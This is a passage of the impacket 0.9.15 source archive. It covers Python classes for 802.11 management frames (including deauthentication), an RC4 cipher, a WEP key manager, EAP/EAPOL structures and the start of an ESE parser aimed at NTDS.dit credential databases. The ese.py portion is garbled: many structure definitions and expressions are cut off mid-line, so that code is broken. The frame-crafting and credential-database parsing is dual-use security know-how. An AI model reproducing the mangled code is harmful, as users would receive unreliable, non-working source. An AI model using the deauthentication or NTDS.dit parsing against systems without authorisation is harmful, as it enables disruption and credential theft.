rates_string=struct.pack('B'*qty_rates,*rates)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
def get_ds_parameter_set(self):
"Get the 802.11 Management DS Parameter set element. "\
"Contains information to allow channel number identification for "\
"STAs using a DSSS PHY."
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET)
if s is None:
return None
(ch,)=struct.unpack('B',s)
return ch
def set_ds_parameter_set(self, channel):
"Set the 802.11 Management DS Parameter set element. "\
"Contains information to allow channel number identification for "\
"STAs using a DSSS PHY."
channel_string=struct.pack('B',channel)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET,channel_string)
def get_rsn(self):
"Get the 802.11 Management Robust Security Network element."
s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
if s is None:
return None
return s
def set_rsn(self, data):
"Set the 802.11 Management Robust Security Network element."
self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
def get_vendor_specific(self):
"Get the 802.11 Management Vendor Specific elements "\
"as a list of tuples."
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
vs=[]
gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
try:
while 1:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None!!!")
# OUI is 3 bytes
oui=s[:3]
data=s[3:]
vs.append((oui,data))
except StopIteration:
pass
return vs
def add_vendor_specific(self, oui, data):
"Set the 802.11 Management Vendor Specific element. "\
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
# 3 is the OUI length
max_data_len=255-3
data_len=len(data)
if data_len>max_data_len:
raise Exception("data allow up to %d bytes long" % max_data)
if len(oui) > 3:
raise Exception("oui is three bytes long")
self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
class Dot11ManagementProbeRequest(Dot11ManagementHelper):
'802.11 Management Probe Request Frame'
def __init__(self, aBuffer = None):
header_size = 0
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_ssid(self):
"Get the 802.11 Management SSID element. "\
"The SSID element indicates the identity of an ESS or IBSS."
return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
def set_ssid(self, ssid):
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
def get_supported_rates(self, human_readable=False):
"Get the 802.11 Management Supported Rates element. "\
"Specifies up to eight rates, then an Extended Supported Rate element "\
"shall be generated to specify the remaining supported rates."\
"If human_readable is True, the rates are returned in Mbit/sec"
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
if s is None:
return None
rates=struct.unpack('%dB'%len(s),s)
if not human_readable:
return rates
rates_Mbs=tuple(map(lambda x: (x&0x7F)*0.5,rates))
return rates_Mbs
def set_supported_rates(self, rates):
"Set the 802.11 Management Supported Rates element. "\
"Specifies a tuple or list with up to eight rates, then an "\
"Extended Supported Rate element shall be generated to specify "\
"the remaining supported rates."
qty_rates=len(rates)
if qty_rates>8:
raise Exception("requires up to eight rates")
rates_string=struct.pack('B'*qty_rates,*rates)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
class Dot11ManagementProbeResponse(Dot11ManagementBeacon):
'802.11 Management Probe Response Frame'
def __init__(self, aBuffer = None):
Dot11ManagementBeacon.__init__(self, aBuffer)
class DOT11_REASON_CODES():
# RESERVED = 0
UNSPECIFIED_REASON = 1
PREV_AUTH_NO_LONGER_VALID = 2
DEAUTH_STA_IS_LEAVING = 3
DISASS_DUE_TO_INACTIVITY = 4
DISASS_AP_UNABLE_HANDLE_ALL_STA = 5
C2_FRAME_FROM_NONAUTHENTICATED_STA = 6
C3_FRAME_FROM_NONASSOCIATED_STA = 7
DISSASS_STA_IS_LEAVING = 8
STA_REQ_NOT_AUTH_STA = 9
DISASS_POWER_CAP_IE_UNNACCEPTABLE = 10
DISASS_SUP_CH_IE_UNNACCEPTABLE = 11
# RESERVED = 12
INVALID_IE = 13
MIC_FAILURE = 14
FOUR_WAY_HANDSHAKE_TIMEOUT = 15
GROUP_KEY_HANDSHAKE_TIMEOUT = 16
IE_FOUR_WAY_HANDSHAKE_DIFFERENT = 17
INVALID_GROUP_CIPHER = 18
INVALID_PAIRWISE_CIPHER = 19
INVALID_AKMP = 20
UNSUPPORTED_RSN_IE_VERSION = 21
INVALID_RSN_IE_CAP = 22
X_AUTH_FAILED = 23
CIPHER_SUITE_REJECTED_SECURITY_POLICY = 24
# RESERVED = 25 - 31
DISASS_QOS_RELATED_REASON = 32
DISASS_QOS_UNSUFFICIENT_BANDWIDTH = 33
DISASS_EXCESSIVE_FRAMES_WITHOUT_ACK = 34
DISASS_STA_TX_OUTSIDE_TXOPS = 35
REQ_STA_LEAVING = 36
REQ_STA_NOT_WANT_MECHANISM = 37
REQ_STA_RECV_FRAMES_WHICH_SETUP_REQ = 38
REQ_STA_DUE_TIMEOUT = 39
STA_NOT_SUPPORT_CIPHER_SUITE = 45
# RESERVED = 46 - 65 535
class Dot11ManagementDeauthentication(ProtocolPacket):
'802.11 Management Deauthentication Frame'
def __init__(self, aBuffer = None):
header_size = 2
tail_size = 0
if aBuffer:
ProtocolPacket.__init__(self, header_size, tail_size)
self.load_packet(aBuffer)
else:
ProtocolPacket.__init__(self, header_size, tail_size)
def get_reason_code(self):
"Get the 802.11 Management Deauthentication or Disassociation Code."
return self.header.get_word(0, "<")
def set_reason_code(self, rc):
self.header.set_word(0, rc, "<")
class DOT11_AUTH_ALGORITHMS():
OPEN = 0
SHARED_KEY = 1
class DOT11_AUTH_STATUS_CODES():
SUCCESSFUL = 0
UNSPECIFIED_FAILURE = 1
# RESERVED = 2 - 9
CAP_REQ_UNSUPPORTED = 10
REASS_DENIED_CANNOT_CONFIRM_ASS_EXISTS = 11
ASS_DENIED_REASON_OUTSIDE_SCOPE_STANDARD = 12
STA_NOT_SUPPORT_AUTH_ALGORITHM = 13
AUTH_SEQ_OUT_OF_EXPECTED = 14
AUTH_REJECTED_CHALLENGE_FAILURE = 15
AUTH_REJECTED_TIMEOUT = 16
ASS_DENIED_AP_UNABLE_HANDLE_MORE_STA = 17
ASS_DENIED_STA_NOT_SUPPORTING_DATA_RATES = 18
ASS_DENIED_STA_NOT_SUPPORTING_SHORT_PREAMBLE = 19
ASS_DENIED_STA_NOT_SUPPORTING_PBCC_MODULATION = 20
ASS_DENIED_STA_NOT_SUPPORTING_CHANNEL_AGILITY = 21
ASS_REQUEST_REJECTED_SPACTRUM_MGT_CAP = 22
ASS_REQUEST_REJECTED_POWER_CAP_IE_UNNACCEPTABLE = 23
ASS_REQUEST_REJECTED_SUP_CH_IE_UNNACCEPTABLE = 24
ASS_DENIED_STA_NOT_SUPPORTING_SHORT_SLOT_TIME = 25
ASS_DENIED_STA_NOT_SUPPORTING_DSSS_OFDM = 26
# RESERVED = 27 - 31
UNSPECIFIED_QOS = 32
ASS_DENIED_QOS_UNSUFFICIENT_BANDWIDTH = 33
ASS_DENIED_EXCESSIVE_FRAME_LOST = 34
ASS_DENIED_STA_NOT_SUPPORT_QOS = 35
# RESERVED = 36
REQ_HAS_BEEN_DECLINED = 37
REQ_NOT_SUCCESSFUL_PARAM_INVALID_VALUE = 38
TSPEC = 39
INVALID_IE = 40
INVALID_GROUP_CIPHER = 41
INVALID_PAIRWISE_CIPHER = 42
INVALID_AKMP = 43
UNSUPPORTED_RSN_IE_VERSION = 44
INVALID_RSN_IE_CAP = 45
CIPHER_SUITE_REJECTED_SECURITY_POLICY = 46
TS_NOT_CREATED = 47
DIRECT_LINK_NOT_ALLOWED_BSS_POLICY = 48
DST_STA_NOT_PRESENT_IN_BSS = 49
DST_STA_NOT_QOS_STA = 50
ASS_DENIED_LISTEN_INTERVAL_TOO_LARGE = 51
# RESERVED = 52 - 65 535
class Dot11ManagementAuthentication(Dot11ManagementHelper):
'802.11 Management Authentication Frame'
__HEADER_BASE_SIZE = 6 # minimal header size
def __init__(self, aBuffer = None):
header_size = self.__HEADER_BASE_SIZE
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_authentication_algorithm(self):
"Get the 802.11 Management Authentication Algorithm."
return self.header.get_word(0, "<")
def set_authentication_algorithm(self, algorithm):
"Set the 802.11 Management Authentication Algorithm."
self.header.set_word(0, algorithm, "<")
def get_authentication_sequence(self):
"Get the 802.11 Management Authentication Sequence."
return self.header.get_word(2, "<")
def set_authentication_sequence(self, seq):
"Set the 802.11 Management Authentication Sequence."
self.header.set_word(2, seq, "<")
def get_authentication_status(self):
"Get the 802.11 Management Authentication Status."
return self.header.get_word(4, "<")
def set_authentication_status(self, status):
"Set the 802.11 Management Authentication Status."
self.header.set_word(4, status, "<")
def get_challenge_text(self):
return self._get_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT)
def set_challenge_text(self, challenge):
self._set_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT, challenge)
def get_vendor_specific(self):
"Get the 802.11 Management Vendor Specific elements "\
"as a list of tuples."
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
vs=[]
gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
try:
while 1:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None!!!")
# OUI is 3 bytes
oui=s[:3]
data=s[3:]
vs.append((oui,data))
except StopIteration:
pass
return vs
def add_vendor_specific(self, oui, data):
"Set the 802.11 Management Vendor Specific element. "\
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
# 3 is the OUI length
max_data_len=255-3
data_len=len(data)
if data_len>max_data_len:
raise Exception("data allow up to %d bytes long" % max_data)
if len(oui) > 3:
raise Exception("oui is three bytes long")
self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
class Dot11ManagementDisassociation(Dot11ManagementDeauthentication):
'802.11 Management Disassociation Frame'
def __init__(self, aBuffer = None):
Dot11ManagementDeauthentication.__init__(self, aBuffer)
class Dot11ManagementAssociationRequest(Dot11ManagementHelper):
'802.11 Management Association Request Frame'
__HEADER_BASE_SIZE = 4 # minimal header size
def __init__(self, aBuffer = None):
header_size = self.__HEADER_BASE_SIZE
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_capabilities(self):
'Return the 802.11 Management Association Request Frame \'Capability information\' field. '
b = self.header.get_word(0, "<")
return b
def set_capabilities(self, value):
'Set the 802.11 Management Association Request Frame \'Capability Information\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_listen_interval(self):
'Return the 802.11 Management Association Request Frame \'Listen Interval\' field. '
b = self.header.get_word(2, "<")
return b
def set_listen_interval(self, value):
'Set the 802.11 Management Association Request Frame \'Listen Interval\' field'
self.header.set_word(2, value, "<")
def get_ssid(self):
"Get the 802.11 Management SSID element. "\
"The SSID element indicates the identity of an ESS or IBSS."
return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
def set_ssid(self, ssid):
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
def get_supported_rates(self, human_readable=False):
"Get the 802.11 Management Supported Rates element. "\
"Specifies up to eight rates, then an Extended Supported Rate element "\
"shall be generated to specify the remaining supported rates."\
"If human_readable is True, the rates are returned in Mbit/sec"
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
if s is None:
return None
rates=struct.unpack('%dB'%len(s),s)
if not human_readable:
return rates
rates_Mbs=tuple(map(lambda x: (x&0x7F)*0.5,rates))
return rates_Mbs
def set_supported_rates(self, rates):
"Set the 802.11 Management Supported Rates element. "\
"Specifies a tuple or list with up to eight rates, then an "\
"Extended Supported Rate element shall be generated to specify "\
"the remaining supported rates."
qty_rates=len(rates)
if qty_rates>8:
raise Exception("requires up to eight rates")
rates_string=struct.pack('B'*qty_rates,*rates)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
def get_rsn(self):
"Get the 802.11 Management Robust Security Network element."
s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
if s is None:
return None
return s
def set_rsn(self, data):
"Set the 802.11 Management Robust Security Network element."
self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
def get_vendor_specific(self):
"Get the 802.11 Management Vendor Specific elements "\
"as a list of tuples."
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
vs=[]
gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
try:
while 1:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None!!!")
# OUI is 3 bytes
oui=s[:3]
data=s[3:]
vs.append((oui,data))
except StopIteration:
pass
return vs
def add_vendor_specific(self, oui, data):
"Set the 802.11 Management Vendor Specific element. "\
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
# 3 is the OUI length
max_data_len=255-3
data_len=len(data)
if data_len>max_data_len:
raise Exception("data allow up to %d bytes long" % max_data)
if len(oui) > 3:
raise Exception("oui is three bytes long")
self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
class Dot11ManagementAssociationResponse(Dot11ManagementHelper):
'802.11 Management Association Response Frame'
__HEADER_BASE_SIZE = 6 # minimal header size
def __init__(self, aBuffer = None):
header_size = self.__HEADER_BASE_SIZE
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_capabilities(self):
'Return the 802.11 Management Association Response Frame \'Capability information\' field. '
b = self.header.get_word(0, "<")
return b
def set_capabilities(self, value):
'Set the 802.11 Management Association Response Frame \'Capability Information\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_status_code(self):
'Return the 802.11 Management Association Response Frame \'Status Code\' field. '
b = self.header.get_word(2, "<")
return b
def set_status_code(self, value):
'Set the 802.11 Management Association Response Frame \'Status Code\' field'
self.header.set_word(2, value, "<")
def get_association_id(self):
'Return the 802.11 Management Association Response Frame \'Association Id\' field. '
b = self.header.get_word(4, "<")
return b
def set_association_id(self, value):
'Set the 802.11 Management Association Response Frame \'Association Id\' field'
self.header.set_word(4, value, "<")
def get_supported_rates(self, human_readable=False):
"Get the 802.11 Management Supported Rates element. "\
"Specifies up to eight rates, then an Extended Supported Rate element "\
"shall be generated to specify the remaining supported rates."\
"If human_readable is True, the rates are returned in Mbit/sec"
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
if s is None:
return None
rates=struct.unpack('%dB'%len(s),s)
if not human_readable:
return rates
rates_Mbs=tuple(map(lambda x: (x&0x7F)*0.5,rates))
return rates_Mbs
def set_supported_rates(self, rates):
"Set the 802.11 Management Supported Rates element. "\
"Specifies a tuple or list with up to eight rates, then an "\
"Extended Supported Rate element shall be generated to specify "\
"the remaining supported rates."
qty_rates=len(rates)
if qty_rates>8:
raise Exception("requires up to eight rates")
rates_string=struct.pack('B'*qty_rates,*rates)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
def get_vendor_specific(self):
"Get the 802.11 Management Vendor Specific elements "\
"as a list of tuples."
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
vs=[]
gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
try:
while 1:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None!!!")
# OUI is 3 bytes
oui=s[:3]
data=s[3:]
vs.append((oui,data))
except StopIteration:
pass
return vs
def add_vendor_specific(self, oui, data):
"Set the 802.11 Management Vendor Specific element. "\
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
# 3 is the OUI length
max_data_len=255-3
data_len=len(data)
if data_len>max_data_len:
raise Exception("data allow up to %d bytes long" % max_data)
if len(oui) > 3:
raise Exception("oui is three bytes long")
self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
class Dot11ManagementReassociationRequest(Dot11ManagementHelper):
'802.11 Management Reassociation Request Frame'
__HEADER_BASE_SIZE = 10 # minimal header size
def __init__(self, aBuffer = None):
header_size = self.__HEADER_BASE_SIZE
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_capabilities(self):
'Return the 802.11 Management Reassociation Request Frame \'Capability information\' field. '
b = self.header.get_word(0, "<")
return b
def set_capabilities(self, value):
'Set the 802.11 Management Reassociation Request Frame \'Capability Information\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_listen_interval(self):
'Return the 802.11 Management Reassociation Request Frame \'Listen Interval\' field. '
b = self.header.get_word(2, "<")
return b
def set_listen_interval(self, value):
'Set the 802.11 Management Reassociation Request Frame \'Listen Interval\' field'
self.header.set_word(2, value, "<")
def get_current_ap(self):
'Return the 802.11 Management Reassociation Request Frame \'Current AP\' field.'
return self.header.get_bytes()[4:10]
def set_current_ap(self, value):
'Set the 802.11 Management Reassociation Request Frame \'Current AP\' field'
for i in range(0, 6):
self.header.set_byte(4+i, value[i])
def get_ssid(self):
"Get the 802.11 Management SSID element. "\
"The SSID element indicates the identity of an ESS or IBSS."
return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
def set_ssid(self, ssid):
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
def get_supported_rates(self, human_readable=False):
"Get the 802.11 Management Supported Rates element. "\
"Specifies up to eight rates, then an Extended Supported Rate element "\
"shall be generated to specify the remaining supported rates."\
"If human_readable is True, the rates are returned in Mbit/sec"
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
if s is None:
return None
rates=struct.unpack('%dB'%len(s),s)
if not human_readable:
return rates
rates_Mbs=tuple(map(lambda x: (x&0x7F)*0.5,rates))
return rates_Mbs
def set_supported_rates(self, rates):
"Set the 802.11 Management Supported Rates element. "\
"Specifies a tuple or list with up to eight rates, then an "\
"Extended Supported Rate element shall be generated to specify "\
"the remaining supported rates."
qty_rates=len(rates)
if qty_rates>8:
raise Exception("requires up to eight rates")
rates_string=struct.pack('B'*qty_rates,*rates)
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
def get_rsn(self):
"Get the 802.11 Management Robust Security Network element."
s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
if s is None:
return None
return s
def set_rsn(self, data):
"Set the 802.11 Management Robust Security Network element."
self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
def get_vendor_specific(self):
"Get the 802.11 Management Vendor Specific elements "\
"as a list of tuples."
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
vs=[]
gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
try:
while 1:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None!!!")
# OUI is 3 bytes
oui=s[:3]
data=s[3:]
vs.append((oui,data))
except StopIteration:
pass
return vs
def add_vendor_specific(self, oui, data):
"Set the 802.11 Management Vendor Specific element. "\
"The Vendor Specific information element is used to carry "\
"information not defined in the standard within a single "\
"defined format"
# 3 is the OUI length
max_data_len=255-3
data_len=len(data)
if data_len>max_data_len:
raise Exception("data allow up to %d bytes long" % max_data)
if len(oui) > 3:
raise Exception("oui is three bytes long")
self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
class Dot11ManagementReassociationResponse(Dot11ManagementAssociationResponse):
'802.11 Management Reassociation Response Frame'
def __init__(self, aBuffer = None):
Dot11ManagementAssociationResponse.__init__(self, aBuffer)
impacket-0.9.15/impacket/Dot11Crypto.py 0000600 0000765 0000000 00000001772 12734531507 017720 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IEEE 802.11 Network packet codecs.
#
# Author:
# Gustavo Moreira
class RC4():
def __init__(self, key):
j = 0
self.state = range(256)
for i in range(256):
j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
def encrypt(self, data):
i = j = 0
out=''
for char in data:
i = (i+1) & 0xff
j = (j+self.state[i]) & 0xff
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff])
return out
def decrypt(self, data):
# It's symmetric
return self.encrypt(data)
impacket-0.9.15/impacket/Dot11KeyManager.py 0000600 0000765 0000000 00000003033 12734531507 020453 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IEEE 802.11 Network packet codecs.
#
# Author:
# Gustavo Moreira
from array import array
class KeyManager:
def __init__(self):
self.keys = {}
def __get_bssid_hasheable_type(self, bssid):
# List is an unhashable type
if not isinstance(bssid, (list,tuple,array)):
raise Exception('BSSID datatype must be a tuple, list or array')
return tuple(bssid)
def add_key(self, bssid, key):
bssid=self.__get_bssid_hasheable_type(bssid)
if not bssid in self.keys:
self.keys[bssid] = key
return True
else:
return False
def replace_key(self, bssid, key):
bssid=self.__get_bssid_hasheable_type(bssid)
self.keys[bssid] = key
return True
def get_key(self, bssid):
bssid=self.__get_bssid_hasheable_type(bssid)
if self.keys.has_key(bssid):
return self.keys[bssid]
else:
return False
def delete_key(self, bssid):
bssid=self.__get_bssid_hasheable_type(bssid)
if not isinstance(bssid, list):
raise Exception('BSSID datatype must be a list')
if self.keys.has_key(bssid):
del self.keys[bssid]
return True
return False
impacket-0.9.15/impacket/eap.py 0000600 0000765 0000000 00000002623 12734531507 016370 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# EAP packets
#
# Author:
# Aureliano Calvo
from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian
DOT1X_AUTHENTICATION = 0x888E
class EAPExpanded(ProtocolPacket):
"""EAP expanded data according to RFC 3748, section 5.7"""
WFA_SMI = 0x00372a
SIMPLE_CONFIG = 0x00000001
header_size = 7
tail_size = 0
vendor_id = ThreeBytesBigEndian(0)
vendor_type = Long(3, ">")
class EAPR(ProtocolPacket):
"""It represents a request or a response in EAP (codes 1 and 2)"""
IDENTITY = 0x01
EXPANDED = 0xfe
header_size = 1
tail_size = 0
type = Byte(0)
class EAP(ProtocolPacket):
REQUEST = 0x01
RESPONSE = 0x02
SUCCESS = 0x03
FAILURE = 0x04
header_size = 4
tail_size = 0
code = Byte(0)
identifier = Byte(1)
length = Word(2, ">")
class EAPOL(ProtocolPacket):
EAP_PACKET = 0x00
EAPOL_START = 0x01
EAPOL_LOGOFF = 0x02
EAPOL_KEY = 0x03
EAPOL_ENCAPSULATED_ASF_ALERT = 0x04
DOT1X_VERSION = 0x01
header_size = 4
tail_size = 0
version = Byte(0)
packet_type = Byte(1)
body_length = Word(2, ">")
impacket-0.9.15/impacket/ese.py 0000600 0000765 0000000 00000107200 12734531507 016374 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Microsoft Extensive Storage Engine parser, just focused on trying
# to parse NTDS.dit files (not meant as a full parser, although it might work)
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# Structure.
#
# Excellent reference done by Joachim Metz
# http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf
#
# ToDo:
# [ ] Parse multi-values properly
# [ ] Support long values properly
from impacket import LOG
try:
from collections import OrderedDict
except:
try:
from ordereddict.ordereddict import OrderedDict
except:
from ordereddict import OrderedDict
from impacket.structure import Structure
from struct import unpack
from binascii import hexlify
# Constants
FILE_TYPE_DATABASE = 0
FILE_TYPE_STREAMING_FILE = 1
# Database state
JET_dbstateJustCreated = 1
JET_dbstateDirtyShutdown = 2
JET_dbstateCleanShutdown = 3
JET_dbstateBeingConverted = 4
JET_dbstateForceDetach = 5
# Page Flags
FLAGS_ROOT = 1
FLAGS_LEAF = 2
FLAGS_PARENT = 4
FLAGS_EMPTY = 8
FLAGS_SPACE_TREE = 0x20
FLAGS_INDEX = 0x40
FLAGS_LONG_VALUE = 0x80
FLAGS_NEW_FORMAT = 0x2000
FLAGS_NEW_CHECKSUM = 0x2000
# Tag Flags
TAG_UNKNOWN = 0x1
TAG_DEFUNCT = 0x2
TAG_COMMON = 0x4
# Fixed Page Numbers
DATABASE_PAGE_NUMBER = 1
CATALOG_PAGE_NUMBER = 4
CATALOG_BACKUP_PAGE_NUMBER = 24
# Fixed FatherDataPages
DATABASE_FDP = 1
CATALOG_FDP = 2
CATALOG_BACKUP_FDP = 3
# Catalog Types
CATALOG_TYPE_TABLE = 1
CATALOG_TYPE_COLUMN = 2
CATALOG_TYPE_INDEX = 3
CATALOG_TYPE_LONG_VALUE = 4
CATALOG_TYPE_CALLBACK = 5
# Column Types
JET_coltypNil = 0
JET_coltypBit = 1
JET_coltypUnsignedByte = 2
JET_coltypShort = 3
JET_coltypLong = 4
JET_coltypCurrency = 5
JET_coltypIEEESingle = 6
JET_coltypIEEEDouble = 7
JET_coltypDateTime = 8
JET_coltypBinary = 9
JET_coltypText = 10
JET_coltypLongBinary = 11
JET_coltypLongText = 12
JET_coltypSLV = 13
JET_coltypUnsignedLong = 14
JET_coltypLongLong = 15
JET_coltypGUID = 16
JET_coltypUnsignedShort= 17
JET_coltypMax = 18
ColumnTypeToName = {
JET_coltypNil : 'NULL',
JET_coltypBit : 'Boolean',
JET_coltypUnsignedByte : 'Signed byte',
JET_coltypShort : 'Signed short',
JET_coltypLong : 'Signed long',
JET_coltypCurrency : 'Currency',
JET_coltypIEEESingle : 'Single precision FP',
JET_coltypIEEEDouble : 'Double precision FP',
JET_coltypDateTime : 'DateTime',
JET_coltypBinary : 'Binary',
JET_coltypText : 'Text',
JET_coltypLongBinary : 'Long Binary',
JET_coltypLongText : 'Long Text',
JET_coltypSLV : 'Obsolete',
JET_coltypUnsignedLong : 'Unsigned long',
JET_coltypLongLong : 'Long long',
JET_coltypGUID : 'GUID',
JET_coltypUnsignedShort: 'Unsigned short',
JET_coltypMax : 'Max',
}
ColumnTypeSize = {
JET_coltypNil : None,
JET_coltypBit : (1,'B'),
JET_coltypUnsignedByte : (1,'B'),
JET_coltypShort : (2,' 8192:
self.structure += self.extended_win7
Structure.__init__(self,data)
class ESENT_ROOT_HEADER(Structure):
structure = (
('InitialNumberOfPages',' 0:
# Include the common header
self.structure = self.common + self.structure
Structure.__init__(self,data)
class ESENT_LEAF_HEADER(Structure):
structure = (
('CommonPageKey',':'),
)
class ESENT_LEAF_ENTRY(Structure):
common = (
('CommonPageKeySize',' 0:
# Include the common header
self.structure = self.common + self.structure
Structure.__init__(self,data)
class ESENT_SPACE_TREE_HEADER(Structure):
structure = (
('Unknown','?@[\\]^_`{|}~ ':
return x
else:
return '.'
def hexdump(data):
x=str(data)
strLen = len(x)
i = 0
while i < strLen:
print "%04x " % i,
for j in range(16):
if i+j < strLen:
print "%02X" % ord(x[i+j]),
else:
print " ",
if j%16 == 7:
print "",
print " ",
print ''.join(pretty_print(x) for x in x[i:i+16] )
i += 16
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
class ESENT_PAGE:
def __init__(self, db, data=None):
self.__DBHeader = db
self.data = data
self.record = None
if data is not None:
self.record = ESENT_PAGE_HEADER(self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'], self.__DBHeader['PageSize'], data)
def printFlags(self):
flags = self.record['PageFlags']
if flags & FLAGS_EMPTY:
print "\tEmpty"
if flags & FLAGS_INDEX:
print "\tIndex"
if flags & FLAGS_LEAF:
print "\tLeaf"
else:
print "\tBranch"
if flags & FLAGS_LONG_VALUE:
print "\tLong Value"
if flags & FLAGS_NEW_CHECKSUM:
print "\tNew Checksum"
if flags & FLAGS_NEW_FORMAT:
print "\tNew Format"
if flags & FLAGS_PARENT:
print "\tParent"
if flags & FLAGS_ROOT:
print "\tRoot"
if flags & FLAGS_SPACE_TREE:
print "\tSpace Tree"
def dump(self):
baseOffset = len(self.record)
self.record.dump()
tags = self.data[-4*self.record['FirstAvailablePageTag']:]
print "FLAGS: "
self.printFlags()
print
for i in range(self.record['FirstAvailablePageTag']):
tag = tags[-4:]
if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] > 11 and self.__DBHeader['PageSize'] > 8192:
valueSize = unpack('> 5
#print "TAG FLAG: 0x%x " % (unpack('> 5
#print "TAG FLAG: 0x " , ord(self.data[baseOffset+valueOffset:][0])
else:
valueSize = unpack('> 13
valueOffset = unpack(' 0:
rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1])
rootHeader.dump()
elif self.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch Header
flags, data = self.getTag(0)
branchHeader = ESENT_BRANCH_HEADER(data)
branchHeader.dump()
else:
# Leaf Header
flags, data = self.getTag(0)
